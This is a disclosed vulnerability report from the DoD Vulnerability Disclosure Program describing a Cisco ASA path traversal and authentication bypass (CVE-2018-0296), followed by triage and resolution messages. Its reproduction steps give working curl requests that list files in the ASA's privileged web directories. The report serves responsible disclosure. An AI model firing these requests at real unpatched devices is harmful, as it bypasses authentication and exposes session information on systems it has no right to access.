


5

## https://[REDACTED] Vulnerable to CVE-2018-0296 Cisco ASA Path Traversal Authentication Bypass

Share:     State  Resolved (Closed)Disclosed **October 4, 2019 8:45pm +0530**Reported To **U.S. Dept Of Defense**

Weakness Path Traversal

Severity  High (7 ~ 8.9)Participants  

Visibility Disclosed (Full)

[Collapse](#)

## TIMELINE · EXPORT

**warsong** submitted a report to **U.S. Dept Of Defense**.

Jun 21st (4 months ago)

## Summary:

https://[REDACTED] is an ASA running software vulnerable to CVE-2018-0296 which allows a remote attacker to exploit a path traversal vulnerability and bypass authentication to sensitive files. The attacker can use this to enumerate the ASA VPN web directory structure and exploit privileged access to the system to gain access to session information.

## Step-by-step Reproduction Instructions

1. You can exploit with cURL or Burp: `curl -vk -m 45 --path-as-is https://[REDACTED]/+CSCOU+/.+CSCOE+/files/file_list.json`
2. You can alter the command slightly to pull additional directory information: `curl -vk -m 45 --path-as-is https://[REDACTED]/+CSCOU+/.+CSCOE+/files/file_list.json?path=%2bCSCOE%2b` to dig into these privileged directories.
3. I also pushed a request to repeater to do this in Burp for screenshots.

Product, Version, and Configuration (If applicable) <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd>  <https://nvd.nist.gov/vuln/detail/CVE-2018-0296> 

## Suggested Mitigation/Remediation Actions

Upgrade the ASA software version per the referenced advisory.

## Impact

High - This vulnerability allows the attacker to browse files past the authentication and disclose sensitive information.

**ag3nt-j1** updated the severity to High.

Jun 21st (4 months ago)

**ag3nt-j1** changed the status to  **Triaged**.

Jun 21st (4 months ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team



[ag3nt-j1](#) closed the report and changed the status to ○ Resolved.

Jul 8th (3 months ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team



[warsong](#) requested to disclose this report.

Jul 10th (3 months ago)

[@ag3nt-j1](#) looks great now; I think this would be a good one for disclosure if your team agrees.



[ag3nt-j1](#) posted a comment.

Jul 11th (3 months ago)

Will do. May take a bit, we've not made public disclosures a high priority but we're working on getting them done quicker for folks. I think you might have a few others you have requested disclosure as well.



[ag3nt-j1](#) agreed to disclose this report.

Oct 4th (7 days ago)



This report has been disclosed.

Oct 4th (7 days ago)



[U.S. Dept Of Defense](#) has locked this report.

Oct 4th (7 days ago)